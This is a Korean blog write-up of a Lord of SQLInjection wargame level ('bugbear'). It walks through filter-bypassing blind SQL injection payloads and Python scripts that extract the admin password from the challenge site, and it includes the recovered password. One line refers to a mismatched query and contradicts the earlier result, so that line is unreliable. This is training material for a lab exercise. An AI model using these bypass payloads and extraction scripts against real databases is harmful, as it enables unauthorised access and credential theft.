이번 포스트에서는 Lord of SQLInjection의 bugbear문제에 대해 다루겠다.
문제를 클릭하면 다음과 같이 쿼리와 php코드가 표시된 화면을 볼 수 있다.
## 문제 해석 :
해당 문제는 preg_match() 함수를 통해 prob, _, ., (, ), ', substr, ascii, =, or, and, 공백, like, 0x를 필터링한 것을 알 수 있다.
또한 id "admin"의 pw값을 알아야 해당 문제를 해결할 수 있는 것으로 보인다.
## 문제 풀이 :
우선, 필터링된 문자들을 우회하면서 pw의 길이를 알아낸 쿼리문을 작성해보겠다.
### 사용할 공격문 : no=1%09||%09instr(id,"admin")%09%26%26%09length(pw)%09>%097
### 실행 결과 :
"Hello admin"이 출력된 것을 보아 pw의 길이가 7보다 크다는 것을 확인할 수 있다.
또한 "="의 우회는 instr() 함수를 이용하면 된다.
계산된 결과, 실제 pw의 길이가 8이므로 8을 넣어서 다시 공격해보겠다.
### 사용할 공격문 : no=1%09||%09instr(id,"admin")%09%26%26%09length(pw)%09>%098
### 실행 결과 :
화면에 아무것도 출력되지 않는 것이 쿼리문이 False임을 뜻하므로, 이것은 꼭 pw의 길이가 8인 것을 뜻한다.
그러나 실제 비밀번호의 경우 길이가 10자리 이상, 많게는 20자리 이상이 있을 수 있으므로 파이썬으로 공격 코드를 작성하여 공격을 실행해보겠다.
### 공격 코드 :
import requests
url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?" # 공격 사이트
cookies = {'PHPSESSID': '세션ID'} # 본인의 세션값
pw_len = 0 # 비밀번호 길이 초기화
while 1: # while문 실행
pw_len += 1 # 비밀번호 길이 + 1
query = f'1/**/||/**/instr(id,"admin")/**/&&/**/length(pw)/**/>/**/{pw_len}' # 쿼리문 작성
params = {'pw': query} # 파라미터에 작성한 쿼리문 삽입
response = requests.get(url, params=params, cookies=cookies) # 요청
if "Hello admin" not in response.text: # Hello admin이 응답이 없다면, 즉 False를 반환한다면
print("password's length : ", pw_len) # 비밀번호 길이 출력
break # while문 종료
### 실행 결과 :
비밀번호의 길이가 똑같이 8인 것을 알 수 있다.
비밀번호를 알아낸 다음에 각 비밀번호가 무엇인지 알아내야 한다. 이는 아스키 코드를 사용하여 알아낼 수 있다. 또한 substr와 ascii가 필터링되었으므로 여기서는 mid()와 hex()를 활용해보겠다.
### 사용할 공격문 : no=1%09||%09instr(id,"admin")%09%26%26%09hex(mid(pw,1,1))%09in%09(hex(53))
### 실행 결과 :
"Hello admin"이 출력된 것을 보니 pw의 첫 번째 글자가 아스키코드의 53번(5)인 것을 알 수 있다.
아무것도 출력되지 않는 것을 확인할 수 있다. 즉 우리가 작성한 쿼리문ord(right(left(pw, 1), 1)) > 48이 False라는 것을 알 수 있고, 이는 곧 pw의 첫 번째 글자가 0인 것을 의미한다.
이를 똑같이 파이썬 코드로 구현하면 다음과 같다.
### 공격 코드 :
def search_pw(pw_len): # 비밀번호 찾기 함수
pw = '' # 비밀번호 초기화
for i in range(1, pw_len+1): # 비밀번호의 길이까지 for문 생성
print("Round ", i) # 몇 번째 Round인지 출력
for ch in range(48, 122): # 아스키 코드 0 ~ Z까지 for문 생성
query = f'1/**/||/**/instr(id,"admin")/**/&&/**/hex(mid(pw,{i},1))/**/in/**/(hex({ch}))' # 쿼리문 작성
params = {'pw': query} # 파라미터 삽입
response = requests.get(url, params=params, cookies=cookies) # 응답 받기
if "Hello admin" in response.text: # "Hello admin"이 응답 메시지에 있을 때, 즉 True인 경우
pw += chr(ch) # pw에 아스키 코드를 변환하여 저장
print("password : ", pw) # 값 출력
break # 종료
return pw # 비밀 번호 반환
### 실행 결과 :
### 최종 공격문 : pw=52dc3991
### 실행 결과 :
## 추가 해석
쿼리문 : hex(mid(pw, 1, 1)) in hex(53)
mid()함수는 substr()함수와 같고 hex()함수는 인자를 16진수 값으로 바뀌기 때문에 비교할 때도 역시 비교대상을 16진수 값으로 바꾼 다음에 비교해야한다.
'Wargame > Lord of SQLInjection' 카테고리의 다른 글
Lord of SQLInjection (15. assassin) (0) | 2022.06.01 |
---|---|
Lord of SQLInjection (14. giant) (0) | 2022.05.31 |
Lord of SQLInjection (12. darkknight) (2) | 2022.05.28 |
Lord of SQLInjection (11. golem) (0) | 2022.05.27 |
Lord of SQLInjection (10. skeleton) (0) | 2022.05.25 |